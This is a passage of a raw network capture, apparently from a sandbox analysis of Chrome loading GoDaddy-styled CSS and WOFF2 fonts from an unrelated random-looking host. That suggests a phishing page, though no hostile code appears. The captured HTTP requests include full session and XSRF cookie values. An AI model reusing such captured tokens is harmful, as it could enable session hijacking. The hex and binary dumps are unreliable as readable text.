var(--uxSpace--padding-size);}#sections_godaddy .ux-space.ux-space--block:not(:empty) { padding-block: var(--uxSpace--padding-size);}#
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 32 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 34 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 33 29 20 76 61 72 28 2d 2d 75 78 2d 79 34 70 67 38 7a 2c 2a 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 35 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e Data Ascii: p3v,1.125)); --uxText--fontSize3: calc(var(--uxText--fontSize2) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize4: calc(var(--uxText--fontSize3) var(--ux-y4pg8z,) var(--ux-7s4p3v,1.125)); --uxText--fontSize5: calc(var(--uxText--fon
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 20 20 66 69 6c 6c 3a 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 74 65 78 74 2d 69 6e 70 75 74 2d 73 68 65 6c 6c 20 2e 75 78 2d 74 65 78 74 2d 63 61 70 74 69 6f 6e 20 7b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 36 70 78 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 33 70 78 3b 0d 0a 7d 0d 0a 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2e 75 78 2d 66 69 65 6c 64 2d 66 72 61 6d 65 2d 2d 69 6e 76 61 6c 69 64 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 44 42 31 38 30 32 20 21 69 6d 70 6f 72 74 61 6e Data Ascii: olor: currentColor; fill: currentColor;}#sections_godaddy .ux-text-input-shell .ux-text-caption { margin-top: 6px; font-size: 13px;}#sections_godaddy .ux-field-frame.ux-field-frame--invalid { border-color: #DB1802 !importan
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 73 72 2d 6f 6e 6c 79 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 20 20 77 69 64 74 68 3a 20 31 70 78 3b 0d 0a 20 20 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 63 6c 69 70 3a 20 72 65 63 74 28 30 2c 30 2c 30 2c 30 29 3b 0d 0a 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 6e 6f 77 72 61 70 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d 0a 20 20 63 6c 69 70 2d 70 61 74 68 3a 20 69 6e 73 65 74 28 35 30 25 29 3b 0d Data Ascii: tions_godaddy .sr-only { position: absolute; width: 1px; height: 1px; padding: 0; overflow: hidden; -webkit-clip: rect(0,0,0,0); clip: rect(0,0,0,0); white-space: nowrap; -webkit-clip-path: inset(50%); clip-path: inset(50%);
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 64 65 72 2d 62 6f 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2e 30 39 33 37 35 72 65 6d 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 38 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 38 70 78 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 63 6f 6e 74 61 69 6e 65 72 3a 3a 61 66 74 65 72 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 74 61 Data Ascii: der-box; padding: 0; vertical-align: .09375rem;}#sections_godaddy .container { margin-left: auto; margin-right: auto; padding-left: 8px; padding-right: 8px;}#sections_godaddy .container::after { content: ""; display: ta
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 31 70 78 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 63 61 72 64 20 2e 63 61 72 64 2d 62 6c 6f 63 6b 20 7b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 35 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 66 6f 6e 74 2d 70 72 69 6d 61 72 79 2d 62 6f 6c 64 20 7b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 61 72 28 2d 2d 75 78 2d 31 30 36 37 70 68 39 2c 73 61 6e 73 2d 73 65 72 69 66 29 3b 0d 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 65 72 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 Data Ascii: 1px solid var(--ux-97h3vl,#d3d3d3);}#sections_godaddy .ux-card .card-block { padding: calc(var(--ux-1sbfig8,.25rem) * 5);}#sections_godaddy .font-primary-bold { font-family: var(--ux-1067ph9,sans-serif); font-weight: bolder;}#se
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 68 2c 76 61 72 28 2d 2d 75 78 2d 39 71 70 66 36 63 2c 23 30 30 66 29 29 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 75 71 34 39 70 67 2c 76 61 72 28 2d 2d 75 78 2d 68 36 65 37 63 31 2c 23 66 66 66 29 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 34 68 76 6f 76 6e 2c 76 61 72 28 2d 2d 75 78 2d 31 78 6c 69 75 68 69 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 62 75 74 74 6f 6e 2e 75 78 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a Data Ascii: h,var(--ux-9qpf6c,#00f)); color: var(--ux-uq49pg,var(--ux-h6e7c1,#fff)); border-color: var(--ux-4hvovn,var(--ux-1xliuhi,transparent));}#sections_godaddy .ux-button.ux-button-primary { color: #fff; background-color: #000; border-color:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49774	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1409	OUT	GET /pqp6GRMmyzxSSwx37 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldWOVJHV05MUVhQY0F5MnZxamR0WGc9PSIsInZhbHVlIjoiUkxkTmNGVVVrU3VwZGlqYWJQS2wvblJsK0hDeXQ1cGRzZStRVm9EVXR1Qzk5VnhVa1ozVDVPRW5IQWZKUEFqU3NpYllkWGpUMnBaRVM0WG5mdi9oTVEvSVJLQzRjVlZZOEV1OWJMUmRDUkE5WHNZRWh1UWFsMjAyRDlSRzJPazEiLCJtYWMiOiI3ODhmNTcyZmIyN2ZhZGNiNDdlN2QwY2Y0MjU3NTZkODhjOGExMDk0NzZiZDk3YmYzMzQ0OWZlN2ZmZDJjMWMwIiwidGFnIjoiIn0%3D
2024-04-24 06:22:01 UTC	616	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:22:01 GMT Content-Type: font/woff2 Content-Length: 28000 Connection: close Content-Disposition: inline; filename="pqp6GRMmyzxSSwx37" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t6PMNEpVLwnXfGLrsFIksd2cRhqC7mxJl%2B%2BE5QTaq8c1GlCSk4UbKYitXAUhJFGeor08O%2B%2BRq7weNLdLwyPp84rS3aPB5aTJKxXRZpnQpTlehfKJUPN2XZr%2Bd8TC4w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8793ff1a7bf014f2-LAX
2024-04-24 06:22:01 UTC	753	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6d 60 00 10 00 00 00 01 24 08 00 00 6c fd 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 9d 36 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 bb 24 82 9c 7f 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 03 07 97 7b 0c 81 0d 5b 09 10 71 05 6b b7 5d 5d 4f 88 db 06 10 73 b3 fd a9 7c 99 02 6e 8c 9b c7 21 18 d6 5b 3c 3b 10 83 ee e0 50 26 a6 cf 67 ff ff ff bf 21 a9 c8 98 49 27 69 b7 0d 51 01 44 50 d5 df 9f c4 1e 39 02 92 4a a0 06 b7 80 17 c1 39 47 eb 95 e9 98 51 31 28 8b f2 29 4a 6e c6 19 d5 d4 c5 d4 38 59 f3 d2 1b f9 1a 98 29 4a ce 46 0e 63 20 41 96 af 37 6b ab 76 b3 8b e9 32 3d a1 5a ee 6e fa 34 60 12 ed 81 a0 c0 7e 4e 6c a4 81 ef 34 3b aa 91 07 53 f6 6c 7b 77 c7 c7 3a ae 23 d5 ee aa 3d 21 bc 20 Data Ascii: wOF2m`$lB6`<<b$6$x> {[qk]]Os\|n![<;P&g!I'iQDP9J9GQ1()Jn8Y)JFc A7kv2=Zn4`~Nl4;Sl{w:#=!
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: b0 50 00 7c 22 4d 93 ae 4a 51 a6 00 02 1a e0 df 3f 60 01 fc 53 40 7b df ed 6f 97 f6 52 6a 43 45 a1 71 78 8f 70 92 21 28 57 69 9f a4 1b eb 64 59 b5 25 ff 2f 72 f2 23 13 70 04 e7 43 20 15 c4 93 e2 e9 00 00 81 82 83 f3 72 1e 6f 34 50 f1 7d e4 e6 7f 33 58 92 99 5d 88 fc f3 a2 d4 ae 01 36 f2 9e 27 7e 26 b0 d3 c0 5d b7 b4 a7 2a 79 09 f4 8f b6 ff 59 51 82 a7 39 e1 22 76 b7 c3 17 cb 33 f0 af 90 a0 d9 6f 45 4d 51 6f 57 4d 16 57 60 cc 85 de 1f 9a 8a 01 13 c4 07 db cc a4 0e 94 94 10 82 59 08 56 81 8a 4f 32 11 7f ee f1 f8 f4 6c 83 02 c7 ac 9d 70 01 31 87 f4 42 a5 c2 bf 46 6e 0e 7f 6f 10 3c d0 ab a8 2c 43 8f f7 0f fd 97 f8 5e c0 59 e6 43 00 b6 fe 57 ae e9 b6 74 58 e2 11 7c a8 60 d2 a6 bc 97 35 3a f7 59 64 40 5d e5 12 6a 18 bb 24 b6 dc ca 76 b6 2a 43 18 44 fe 71 a9 99 Data Ascii: P\|"MJQ?`S@{oRjCEqxp!(WidY%/r#pC ro4P}3X]6'~&]yYQ9"v3oEMQoWMW`YVO2lp1BFno<,C^YCWtX\|`5:Yd@]j$vCDq
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: cf 32 9d 4d e7 8a 0a 96 48 c8 6c 22 d8 b5 a2 1b ed 62 bc b1 36 52 21 05 95 14 c7 81 94 35 dc bc 61 7e c1 b4 7a 90 11 b4 ca 1d 10 b9 22 0a 08 40 c0 9b 31 90 dc 27 05 17 40 40 05 00 50 85 55 b6 46 4e 76 17 a1 cf f8 91 28 18 bc 86 dd 28 8a 0d 6e 1d 26 6e 7d 95 e8 90 58 8c 91 02 38 4a a0 94 87 e5 5a 50 e2 4c bc d0 25 06 2b 80 8c c4 05 99 9c 71 86 d8 29 ca 83 fb a6 88 8f df 77 45 f5 08 aa 72 b3 dd 04 90 49 e7 01 a0 73 40 15 14 14 29 cb f1 82 58 04 82 31 5a 02 29 dc 92 31 91 53 51 02 a6 fa 29 2a 80 d8 45 b8 e5 49 0f 90 d8 00 4a f9 09 a8 6e 75 4c 81 89 2f 00 77 7d b0 d2 75 b4 ea 9a ae 67 98 3e 3c 14 be 13 55 48 55 f9 1e 60 2e ed fc 69 cf da b5 42 06 20 96 20 07 60 a8 05 c2 4c f9 e3 9b e0 38 ab d1 83 9b 3a 8b 85 5e ca a3 dc 75 85 2b e0 30 ac 55 ea ed 61 ee f8 95 Data Ascii: 2MHl"b6R!5a~z"@1'@@PUFNv((n&n}X8JZPL%+q)wErIs@)X1Z)1SQ)*EIJnuL/w}ug><UHU`.iB `L8:^u+0Ua
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: aa 76 68 dd 8c 5b 2f 6b 9f 1d b3 c9 cf 85 80 7e 4d 7d 1c 44 b5 56 8e d5 c6 7d 25 c4 02 3b 1b 15 6b 50 8d 7e cb ba 24 26 a5 bb 63 d1 11 53 27 2b df 09 8c 31 2c f4 05 2d 8e 9d 58 08 42 45 de 45 e3 4e a2 83 07 5d cd 4a 33 e0 b5 97 e1 ae c5 ad d6 f0 84 e2 b0 3c c6 03 e7 41 3f 7a 78 70 cc 8c 76 2e 02 cf b0 85 b1 bb 8b 6f c8 80 02 d5 9e 4a 0a a0 e3 4b b7 9b 9f c2 a6 10 af 98 9a 67 7a 8f e4 ad 45 d1 58 cc 2e ad 55 97 e2 39 c3 32 ea cd 24 ff 27 7b 73 5b b5 87 25 e3 73 aa 4d 39 f0 18 1c e6 1b 82 af d3 ba d2 3c 76 ce 79 bf b0 50 9d c3 58 69 34 3f af 43 4d 37 3b 6c 0d ce 6f 77 95 ec 53 d8 54 86 b1 6d 91 2a 74 76 a0 4a b1 bf 18 8f 94 7e cf d7 cf f4 a0 5e 55 14 0e 79 da 72 32 2d 41 57 0e 69 b4 3f 77 7c c5 7f e3 8f 3f 86 9b ff 3b dd 9e 48 b6 50 f6 da 04 3c 9d 93 59 bf Data Ascii: vh[/k~M}DV}%;kP~$&cS'+1,-XBEEN]J3<A?zxpv.oJKgzEX.U92$'{s[%sM9<vyPXi4?CM7;lowSTm*tvJ~^Uyr2-AWi?w\|?;HP<Y
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 6a 07 4d d1 ff 28 8b fc 6c d2 51 9d 0e 83 9d 22 5c e7 48 fc 92 05 99 2d cc c3 68 90 eb c1 5c 1c b1 24 18 71 2e 08 a3 6c db c7 5b cb 58 47 63 ba 7c 3d 91 9d bf 11 44 11 fd a1 6b 70 7b ee c6 de 50 49 44 db ef aa dc 2c 43 d6 77 cc 1f aa ac 43 7b cb 87 68 e6 c2 24 ef 71 39 38 ea ca 50 a1 dd a1 b9 16 af e7 5b 36 1a a3 68 7d b7 d1 9b 19 9e 1c 5e da b3 75 d6 19 24 b3 60 d0 95 e7 b7 0d b0 2c 6e a1 9e a0 81 cf 5d 0e 63 53 f1 46 00 2f bb fe 1f 70 a5 9e 58 1d 8b e9 75 3b 36 ba 42 6c 18 29 19 db c5 7e 29 4e 35 47 ef 03 d3 11 c4 6b cc 5c b2 8c 98 87 f1 b4 13 7a 4a eb 68 53 1d d1 cd 11 38 50 f8 a2 27 ad a6 67 78 4b 59 17 a6 07 71 e0 18 1c 10 0b 1d 4d 5f a1 68 c3 41 66 ce 84 77 dd 8c a7 e9 0d 2d 3e d3 90 90 f7 e2 a7 6d b2 50 7a fd 83 9e 09 59 ba 40 ff ba d9 2a 6d a3 f0 Data Ascii: jM(lQ"\H-h\$q.l[XGc\|=Dkp{PID,CwC{h$q98P[6h}^u$`,n]cSF/pXu;6Bl)~)N5Gk\zJhS8P'gxKYqM_hAfw->mPzY@*m
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 67 15 d4 4b a0 1c 83 ae 60 ec ae 01 51 24 52 a8 17 ec d7 e5 02 86 d6 f7 93 a3 02 4c fd 08 2e 8c 51 67 00 58 f0 b7 dd 29 00 ab bc b1 63 95 3a c0 e5 1b 8e 84 eb 18 37 bb ef 5b d7 78 fc 7d eb 19 6f bf 0f 7d 63 b3 00 00 20 24 28 4c 1c 20 c3 ee 31 20 a1 ae 01 e7 67 65 60 3c ab 00 96 58 09 ac 4a bb 44 03 43 dd 38 d9 f3 a2 2b cd a5 b3 5c 2d 6b ac c0 93 b0 6f fd 3a 04 fd 22 2e c2 be 55 37 a0 58 93 20 c4 cf 40 e9 fe 01 ff a3 bf 02 54 df f1 8b 37 d2 18 b9 b2 03 8d 66 21 96 60 25 57 88 a6 3f f3 e8 ee 9c 1a f8 ec 5f 95 a3 57 af 34 dc c0 f6 14 72 54 dc 81 7e 73 3e 7a 37 c6 fa dd 84 b2 82 b7 a0 7a 70 7b fd bf 42 d0 4f eb 28 a4 30 55 01 23 24 61 8a 97 2a 35 0e da f7 f4 cd 10 22 2c 42 aa 28 31 81 9a 39 89 24 32 0a 29 54 d2 64 c9 91 a7 40 89 a2 74 11 35 59 a3 4e 03 4d d9 Data Ascii: gK`Q$RL.QgX)c:7[x}o}c $(L 1 ge`<XJDC8+\-ko:".U7X @T7f!`%W?_W4rT~s>z7zp{BO(0U#$a*5",B(19$2)Td@t5YNM
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 60 4f 3c e0 20 be 10 e4 01 3d a8 7d a6 28 9b 38 a1 c5 64 57 74 3d ec 7f 7d 08 26 bd 16 95 ea 5b 16 b0 5d d2 de b5 6e b9 e3 ae 7b 6e 6b 72 28 f0 1d 1b 15 eb 74 db 4d 9d ae bb 2f 4e a5 f6 c0 61 4c 1d c7 6e b4 0c 4d bd 43 5d 9c ee 65 37 b8 ea ff 8d 8b ca 96 bb eb 56 d5 5a 4d 90 d4 e4 b5 76 87 e4 8d 45 7d 9a 48 7b 15 e0 5a c2 73 b4 ee 2e be 04 f8 b4 7e c7 da 3d f4 f5 ed 7a 5a 3f ac 25 b2 36 32 5a f6 5f c0 4a 1d ff a4 c9 f4 bf f6 4f f8 3a c0 5c 92 fa 51 9c be bf bc 3e 88 6f 28 0a 9c e4 45 91 5e ff 83 f9 e0 35 e2 f6 53 a6 99 64 a7 9e 68 3c 39 c1 74 f8 af 2d f4 6b e8 e9 d0 0e 42 8c e0 02 a8 36 9f 40 50 6b 72 08 44 df 89 c3 a0 23 f1 be 82 8f 9f a6 6c c8 ea e2 70 81 d8 e7 08 a7 65 e7 73 8e 16 c3 78 1e d8 5f dd 27 48 e7 20 ba 7f 9a bb 53 d4 32 c3 c3 11 59 11 56 41 Data Ascii: `O< =}(8dWt=}&[]n{nkr(tM/NaLnMC]e7VZMvE}H{Zs.~=zZ?%62Z_JO:\Q>o(E^5Sdh<9t-kB6@PkrD#lpesx_'H S2YVA
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 7b e2 5f aa f0 6f 0a fc 99 a3 fe 7b 4f fc 4f 15 fe 4f f1 7a c1 4f 5d c3 5e e8 fa 49 b7 d0 0e 70 d3 ad 1f fb c9 d3 33 05 10 1c 9c 8f f4 d8 f9 ab 65 5f 2e 9e fa 31 5c 0f 80 47 2e 03 e8 af 1b ab 78 90 19 8c 5c 3d 16 50 9e 10 aa b7 bb f1 96 e9 e8 50 5a 57 99 89 cb 42 8c 4f a5 c6 83 b0 72 71 d2 e9 5c 2c 8d e9 08 ac 4c 5d e9 e1 2a 2c 52 ba 08 9f 4a 8e 07 a1 28 86 32 a7 dd c8 b8 a8 8b 07 a7 74 ba 73 43 a8 e0 ea ca f2 67 58 b7 fe e2 8b 5d 0d dd c5 61 5a 55 59 9a 0f cd a5 7c b3 55 ed 6b 08 d9 3e 2e e8 14 eb a1 c6 2d 23 31 06 d3 5c 07 73 91 a5 48 f6 10 c2 65 09 59 44 d5 32 9e c2 c0 67 88 49 29 63 f6 60 86 66 ae f7 aa d0 58 94 7c 06 f4 ab 58 8e d0 72 36 8b 19 fb d1 96 1d 44 50 d7 90 6d 47 b6 20 cc 83 76 4d b5 21 b9 79 ec 7d 89 41 6e 78 78 e8 81 87 f5 4d cb 09 b0 1a Data Ascii: {_o{OOOzO]^Ip3e_.1\G.x\=PPZWBOrq\,L]*,RJ(2tsCgX]aZUY\|Uk>.-#1\sHeYD2gI)c`fX\|Xr6DPmG vM!y}AnxxM
2024-04-24 06:22:01 UTC	1369	IN	Data Raw: 1c 69 5d bf cc a1 e8 ac ef 3b f9 0a 24 ed 13 15 ac 4d 28 6d ea 7c 96 81 ad 6b 76 cb f2 ea 9a 98 e8 b3 84 7a ce d7 ad d3 1a f7 5d b8 96 7f e0 ef fb 3e d2 ff 10 71 be 45 2d 8d b5 93 2a 9f 2a fe 87 98 cc f7 1a 0f e6 a6 af f9 2b 26 34 d7 d6 39 10 09 be 2e 9e f0 d4 8e 33 b4 8b 19 e5 a9 9d 73 66 58 9e dc dc f7 04 ae e0 53 fd d4 74 7f cd 9a 76 7c 53 74 7a b8 41 07 9a 43 e8 66 29 ea 9d 9e 9c 9f 60 5e dc a2 67 a2 89 2e 8a 3d 6a 11 03 df b2 c3 35 2d db bf 54 8e 2c e8 63 02 b6 b6 82 1f 1e 48 3c 04 3a 4d 54 d0 ba 1b 7f cf 00 55 2a 7c 3c 7a f7 c0 a9 d4 3c 3a e4 66 3e 91 cb 46 cd d4 3b 3d 5e 7c 75 77 09 fc 80 de 6b 83 b1 31 20 03 f7 52 5b 17 79 79 fc fa e3 c7 fe 67 66 0b 87 1e ce e4 67 4f 5f 86 a5 da ce f5 c1 0b 83 57 1e 81 d4 75 41 77 3a b7 59 8b b0 34 ec d4 02 d2 0c Data Ascii: i];$M(m\|kvz]>qE-*+&49.3sfXStv\|StzACf)`^g.=j5-T,cH<:MTU\|<z<:f>F;=^\|uwk1 R[yygfgO_WuAw:Y4
2024-04-24 06:22:01 UTC	950	IN	Data Raw: 7c 11 96 dd 39 50 c7 5c e8 b6 f3 ef e1 f8 f4 af 76 d7 04 6c a5 5b 5e a5 1f 82 e5 c8 48 75 02 05 a3 99 05 4b 0b cf 39 99 9b 44 e9 29 d2 4f e0 4d 76 5e eb d9 c9 2a 51 3c d3 98 aa 7e 11 1f 98 ae d2 2b d3 a4 f9 9a 0c b7 3d 84 70 b2 dd be ff 15 fd d3 ca ed c7 5a e4 3b 4f 4d 7e fe de f7 38 7c 59 78 f5 45 72 48 c9 b4 a5 47 d1 4f d6 15 62 27 b3 8b 70 d3 fa a2 3e a2 bc 65 ae 08 dd f4 4c 26 b8 0e bb 11 81 6e 8c ee b3 4e 29 73 93 b2 4d 47 db 14 36 f3 fd ef 69 4c 75 77 3d d1 4d 84 97 19 e8 a7 6b fe ff f9 e1 fa fd 4c a2 2c c7 1e 8d a7 96 3f 2a d7 8f 3f 1f 03 bf fd da ba fb e8 7b 75 c5 a3 0a fe 9a ef 16 b0 ec ef b4 ce b9 94 ed 47 9b 64 db 4f 4d ac 65 d4 fc 88 ba 28 3c ff 22 39 a2 6a b1 ac 41 de 47 d1 17 e3 ce e4 66 86 cf a8 ea 07 b9 46 7e 13 54 1d 4f 2d de cc 88 5a 41 Data Ascii: \|9P\vl[^HuK9D)OMv^Q<~+=pZ;OM~8\|YxErHGOb'p>eL&nN)sMG6iLuw=MkL,??{uGdOMe(<"9jAGfF~TO-ZA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49777	172.67.143.205	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:22:01 UTC	1418	OUT	GET /yzDWvxmd4z6t78IC8k0DdMqr41 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/bsqyvqfxmioiirznzcsplwstNStNPZKgUSHSLTOBEDPOGXXHYFBZUHYCLYJNOFMEYDGWGR?SPdroiIMagSCTURiGzFpfnBKPRGIBCHAVPJPKBVOFEBKHGIEVRHWDEV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik4vcjg0d2t0WFhrMkI4UGRDVjlNOHc9PSIsInZhbHVlIjoiUy9wVmFJWGJYK1dWWmxybmVCUWRZQzVXV1dOOUxHK2JENHRBckVkOS9QMG5Gb280WVU1MklTRTk0amFYb3VxRFZpZk5kanE3dzhQdFZ3QTArdlpZRDNJUGlDMjhlVXZPRjBGYmc2MkROZjFULzUxOG5jRTFNMDNHVHkrZkpwcW4iLCJtYWMiOiI0MWY1MDBhNzgyMTk0ZGVjMzM1ZDg1NzlmZTRmNmQ1NWNlOWE5Nzg1MWFmYmMxZGEzODczMmVlYzcwNzIyMGQ5IiwidGFnIjoiIn0%3D; 